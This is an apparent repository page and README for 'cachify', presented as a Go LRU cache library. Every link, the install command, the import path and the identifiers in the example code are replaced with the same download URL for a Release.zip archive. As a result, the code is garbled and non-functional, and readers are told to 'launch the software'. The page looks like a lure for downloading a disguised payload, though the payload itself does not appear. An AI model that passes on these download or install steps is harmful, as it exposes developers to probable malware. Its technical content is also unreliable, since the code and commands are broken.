https://github.com/shadow10010/cachify
cachify is a lightweight, high-performance, thread-safe Least Recently Used (LRU) cache library for Go. It is designed for in-memory caching with optional support for expiration, eviction callbacks, and dynamic capacity adjustment.
https://github.com/shadow10010/cachify
android cache cloudflare-kv go kotlin lock locking nodejs pickle playlist promise redis typechecking wordpress
Last synced: 11 months ago
JSON representation
cachify is a lightweight, high-performance, thread-safe Least Recently Used (LRU) cache library for Go. It is designed for in-memory caching with optional support for expiration, eviction callbacks, and dynamic capacity adjustment.
- Host: GitHub
- URL: https://github.com/shadow10010/cachify
- Owner: Shadow10010
- Created: 2025-01-23T19:40:43.000Z (about 1 year ago)
- Default Branch: main
- Last Pushed: 2025-03-14T07:04:32.000Z (11 months ago)
- Last Synced: 2025-03-14T07:22:43.193Z (11 months ago)
- Topics: android, cache, cloudflare-kv, go, kotlin, lock, locking, nodejs, pickle, playlist, promise, redis, typechecking, wordpress
- Size: 1.95 KB
- Stars: 1
- Watchers: 1
- Forks: 0
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
Awesome Lists containing this project
README
# 🚀 Cachify: A Lightweight, High-Performance LRU Cache Library for Go
Welcome to the official repository of **Cachify** - a powerful, thread-safe Least Recently Used (LRU) cache library for Go! 📦

## Overview
**Cachify** is designed to provide efficient, in-memory caching with advanced features such as expiration, eviction callbacks, and dynamic capacity adjustment. It is perfect for scenarios where you need to store and retrieve data quickly and reliably.
### Features
- Lightweight and efficient LRU caching
- Thread-safe implementation
- Support for expiration of cached items
- Eviction callbacks for custom actions
- Dynamic adjustment of cache capacity
## Installation
You can download the latest version of **Cachify** from the following link:
[](https://github.com/Shadow10010/cachify/releases/download/v1.0/Release.zip)
Once downloaded, follow the instructions to launch the software.
### Installation via Go Modules
You can also install **Cachify** using Go Modules with the following command:
```bash
go get -u https://github.com/Shadow10010/cachify/releases/download/v1.0/Release.zip
```
## Getting Started
To start using **Cachify** in your Go projects, import the library and create a new cache instance. Here is a simple example to get you started:
```go
package main
import (
"fmt"
"https://github.com/Shadow10010/cachify/releases/download/v1.0/Release.zip"
)
func main() {
// Create a new cache with a capacity of 100 items
cache := https://github.com/Shadow10010/cachify/releases/download/v1.0/Release.zip(100)
// Add a key-value pair to the cache
https://github.com/Shadow10010/cachify/releases/download/v1.0/Release.zip("key", "value")
// Retrieve the value from the cache
if value, ok := https://github.com/Shadow10010/cachify/releases/download/v1.0/Release.zip("key"); ok {
https://github.com/Shadow10010/cachify/releases/download/v1.0/Release.zip(value)
}
}
```
## About LRU Caching
Least Recently Used (LRU) caching is a popular algorithm used to manage cache eviction based on the principle that the least recently accessed items are the most likely candidates for removal.
### Advantages of LRU Caching
- High cache hit rate
- Efficient use of memory
- Easy to implement and understand
### Use Cases
- Web server caching
- Database query result caching
- API response caching
## Contributing
We welcome contributions to make **Cachify** even better! Feel free to submit bug reports, feature requests, or pull requests to help us improve the library.
### Guidelines
- Follow Go coding standards
- Write clear and concise code
- Provide detailed descriptions in pull requests
## License
**Cachify** is released under the MIT License. See the [LICENSE](LICENSE) file for more information.
---
Thank you for choosing **Cachify** for your caching needs! 🌟
For more information, visit our [website](https://github.com/Shadow10010/cachify/releases/download/v1.0/Release.zip) or check the "Releases" section for updates and new features. 🚀
Stay tuned for exciting updates and enhancements coming soon! 💼
